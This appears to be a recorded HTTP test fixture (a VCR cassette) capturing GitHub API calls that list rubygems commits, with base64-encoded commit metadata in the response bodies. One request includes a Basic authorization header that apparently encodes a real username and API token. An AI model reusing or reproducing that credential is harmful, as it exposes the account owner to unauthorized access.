G93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiTVNQLUdyZWciLCJpZCI6MTUwODExNzYsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE1MDgxMTc2P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL01TUC1HcmVnIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiMGNmYzI0Y2JlNzQyNzM2NjQ4ZDNhYjU5OTU5OGJlNjU2YTlhMWJlMSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8wY2ZjMjRjYmU3NDI3MzY2NDhkM2FiNTk5NTk4YmU2NTZhOWExYmUxIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzBjZmMyNGNiZTc0MjczNjY0OGQzYWI1OTk1OThiZTY1NmE5YTFiZTEifV19LHsic2hhIjoiMGNmYzI0Y2JlNzQyNzM2NjQ4ZDNhYjU5OTU5OGJlNjU2YTlhMWJlMSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0wOC0yN1QyMTowNDoxMloifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMDgtMjdUMjE6MDQ6MTJaIn0sIm1lc3NhZ2UiOiJBdXRvIG1lcmdlIG9mICMxOTkwIC0gcnVieWdlbXM6c2VnLWxvY2FsLXByZXJlbGVhc2UsIHI9aW5kaXJlY3RcblxuQWxsb3cgbG9jYWwgaW5zdGFsbHMgd2l0aCB0cmFuc2l0aXZlIHByZXJlbGVhc2UgcmVxdWlyZW1lbnRzXG5cbiMgRGVzY3JpcHRpb246XG5cblRoaXMgY2xvc2VzIGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk4OCBieSBjb25zaWRlcmluZyBsb2NhbCBwcmVyZWxlYXNlIGdlbXMgd2hlbiB0aGUgcmVxdWlyZW1lbnQgaXMgYSBwcmVyZWxlYXNlIHJlcXVpcmVtZW50LlxuXG4jIFRhc2tzOlxuXG4tIFt4XSBEZXNjcmliZSB0aGUgcHJvYmxlbSAvIGZlYXR1cmVcbi0gW3hdIFdyaXRlIHRlc3RzXG4tIFt4XSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXG4tIFsgXSBHZXQgY29kZSByZXZpZXcgZnJvbSBjb3dvcmtlcnMgLyBmcmllbmRzXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuIiwidHJlZSI6eyJzaGEiOiI3YThlOGI1ZWRlYzI5ODY5Y2U5ZTk1YjI1ZWJlOGRlNjgyYWFhZTRkIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvN2E4ZThiNWVkZWMyOTg2OWNlOWU5NWIyNWViZThkZTY4MmFhYWU0ZCJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzBjZmMyNGNiZTc0MjczNjY0OGQzYWI1OTk1OThiZTY1NmE5YTFiZTEiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMGNmYzI0Y2JlNzQyNzM2NjQ4ZDNhYjU5OTU5OGJlNjU2YTlhMWJlMSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8wY2ZjMjRjYmU3NDI3MzY2NDhkM2FiNTk5NTk4YmU2NTZhOWExYmUxIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzBjZmMyNGNiZTc0MjczNjY0OGQzYWI1OTk1OThiZTY1NmE5YTFiZTEvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJidW5kbGVyYm90IiwiaWQiOjEzNjE0NjIyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMzYxNDYyMj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXJib3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJidW5kbGVyYm90IiwiaWQiOjEzNjE0NjIyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMzYxNDYyMj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXJib3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI1YWM5ZDI3MWZhZjI4YjVlYTUyNzM3ZWVhOWJkYjE3ZDY2N2RhYjgyIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzVhYzlkMjcxZmFmMjhiNWVhNTI3MzdlZWE5YmRiMTdkNjY3ZGFiODIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNWFjOWQyNzFmYWYyOGI1ZWE1MjczN2VlYTliZGIxN2Q2NjdkYWI4MiJ9LHsic2hhIjoiM2FiNWFhYTkzY2UyNzUxZWVjOWIzNzhlOGEzOWE1NDdmYjI1ODAzZCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8zYWI1YWFhOTNjZTI3NTFlZWM5YjM3OGU4YTM5YTU0N2ZiMjU4MDNkIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzNhYjVhYWE5M2NlMjc1MWVlYzliMzc4ZThhMzlhNTQ3ZmIyNTgwM2QifV19XQ== http_version: recorded_at: Sat, 06 Jan 2018 14:59:34 GMT - request: method: get uri: https://api.github.com/repositories/614070/commits?page=9&per_page=30&since=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:34 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4623' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"dc941626ac402141c208246307eb6d88" Last-Modified: - Sun, 27 Aug 2017 20:40:27 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.095240' X-Github-Request-Id: - A14C:4D94:4EFDE0:B2FD64:5A50E456 body: encoding: ASCII-8BIT string: !binary |- W3sic2hhIjoiNWFjOWQyNzFmYWYyOGI1ZWE1MjczN2VlYTliZGIxN2Q2NjdkYWI4MiIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0wOC0yN1QyMDo0MDoyN1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMDgtMjdUMjA6NDA6MjdaIn0sIm1lc3NhZ2UiOiJBdXRvIG1lcmdlIG9mICMxOTc3IC0gcnVieWdlbXM6c2VnLWJ1bmRsZXItaGF4LCByPWluZGlyZWN0XG5cbkVuc3VyZSB0aGF0IGFuIGFwcHJvcHJpYXRlIHZlcnNpb24gb2YgQnVuZGxlciBpcyBhbHdheXMgYWN0aXZhdGVkXG5cbiMgRGVzY3JpcHRpb246XG5cbkNsb3NlcyBodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NzQuXG5UaGlzIGVuc3VyZXMgdGhhdCB0aGUgYGJ1bmRsZWAgYmluc3R1YiwgYWxvbmcgd2l0aCBhbnl0aGluZyBydW5uaW5nIGByZXF1aXJlIFwiYnVuZGxlci9zZXR1cFwiYCB3aWxsIHJlc3BlY3QsIGluIG9yZGVyOlxuXG4xLiBgRU5WW1wiQlVORExFUl9WRVJTSU9OXCJdYFxuMi4gYGJ1bmRsZSB1cGRhdGUgLS1idW5kbGVyYFxuMy4gVGhlIGJ1bmRsZXIgdmVyc2lvbiBpbiB0aGUgbmVhcmVzdCBgR2VtZmlsZS5sb2NrYFxuXG5TZWUgaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXIvYnVuZGxlci9pc3N1ZXMvNTg3NiBmb3IgZnVydGhlciBjb250ZXh0LCBhbmQgaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXIvYnVuZGxlci9pc3N1ZXMvNTg3OCBmb3IgYSByZWxhdGVkIGNoYW5nZSB0byBCdW5kbGVyLlxuXG4jIFRhc2tzOlxuXG4tIFt4XSBEZXNjcmliZSB0aGUgcHJvYmxlbSAvIGZlYXR1cmVcbi0gW3hdIFdyaXRlIHRlc3RzXG4tIFt4XSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXG4tIFsgXSBHZXQgY29kZSByZXZpZXcgZnJvbSBjb3dvcmtlcnMgLyBmcmllbmRzXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuIiwidHJlZSI6eyJzaGEiOiIwZTEyYWRhMWNlN2U0MGNiZDRhYTI3NDMwZTRmYzAzMWQ5ZDEwNzIwIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvMGUxMmFkYTFjZTdlNDBjYmQ0YWEyNzQzMGU0ZmMwMzFkOWQxMDcyMCJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzVhYzlkMjcxZmFmMjhiNWVhNTI3MzdlZWE5YmRiMTdkNjY3ZGFiODIiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNWFjOWQyNzFmYWYyOGI1ZWE1MjczN2VlYTliZGIxN2Q2NjdkYWI4MiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC81YWM5ZDI3MWZhZjI4YjVlYTUyNzM3ZWVhOWJkYjE3ZDY2N2RhYjgyIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzVhYzlkMjcxZmFmMjhiNWVhNTI3MzdlZWE5YmRiMTdkNjY3ZGFiODIvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJidW5kbGVyYm90IiwiaWQiOjEzNjE0NjIyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMzYxNDYyMj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXJib3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJidW5kbGVyYm90IiwiaWQiOjEzNjE0NjIyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMzYxNDYyMj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXJib3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJkNWRlMDM1MjI5ZmM1NzQ1ZTE3Y2ZhNTZiM2YzZWJlMzBmNTM3NDY4IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2Q1ZGUwMzUyMjlmYzU3NDVlMTdjZmE1NmIzZjNlYmUzMGY1Mzc0NjgiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZDVkZTAzNTIyOWZjNTc0NWUxN2NmYTU2YjNmM2ViZTMwZjUzNzQ2OCJ9LHsic2hhIjoiYTJhYzJjMDQ3NDExNzg5MjRkODgyMTU3MzRkMzRiN2E1ZGY1ZDFhYSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9hMmFjMmMwNDc0MTE3ODkyNGQ4ODIxNTczNGQzNGI3YTVkZjVkMWFhIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2EyYWMyYzA0NzQxMTc4OTI0ZDg4MjE1NzM0ZDM0YjdhNWRmNWQxYWEifV19LHsic2hhIjoiYTJhYzJjMDQ3NDExNzg5MjRkODgyMTU3MzRkMzRiN2E1ZGY1ZDFhYSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTctMDgtMjVUMTQ6NTQ6MzRaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wOC0yNVQxNDo1NDozNFoifSwibWVzc2FnZSI6IlVzZSBhc3NlcnRfbmlsIGluIHJlbW90ZSBmZXRjaGVyIHRlc3RzIiwidHJlZSI6eyJzaGEiOiIwZTEyYWRhMWNlN2U0MGNiZDRhYTI3NDMwZTRmYzAzMWQ5ZDEwNzIwIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvMGUxMmFkYTFjZTdlNDBjYmQ0YWEyNzQzMGU0ZmMwMzFkOWQxMDcyMCJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2EyYWMyYzA0NzQxMTc4OTI0ZDg4MjE1NzM0ZDM0YjdhNWRmNWQxYWEiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSlpvRG9xQUFvSkVBRVpXN01WM2FoV3BNNFAvUnhuNTA1WmpQb1UwUjlIUUNFcTBuK3Fcbkwwelh5citrT1czK3Q5VEdJWTNLVUNiWGd2L1dqMDJqZTlHMkZvOWR3OUtrNjV0OCs1ZHJ2M3lza2Q1Y0M4c2Ncbm5CNTh1UTNWUHhPei9RakV5OGZmSlNUZVRsMzNQVTMwamM5Zy9Xc2c0SFkxU1ZrU1ZCeWk2UVNZSzdKeGJlVk9cbnlXanoranRJd0R0NnI0RlR4cm9NRUx1Yk1vT1VONXRmaUNQQjBiY1cvMFhXdXVXU0lqMVBqYXpVSGxhTXVCOE1cbmd0aWtJTmJDbDJUV3VYcTRWZDN2RXd3K0xTQ2FhYm1SZHY0TXg1cEJPVHhJZW1rTTFoYU5EYnJWbU1XRmY4THRcblFjaGhnV04wbkllNHE4b2IyajJLdS9wSEN3SVcxZVRZbTFrbVFEdlZja1JaaHR5VzNLVm5HS3N2ZHBBalZOQUtcbkRk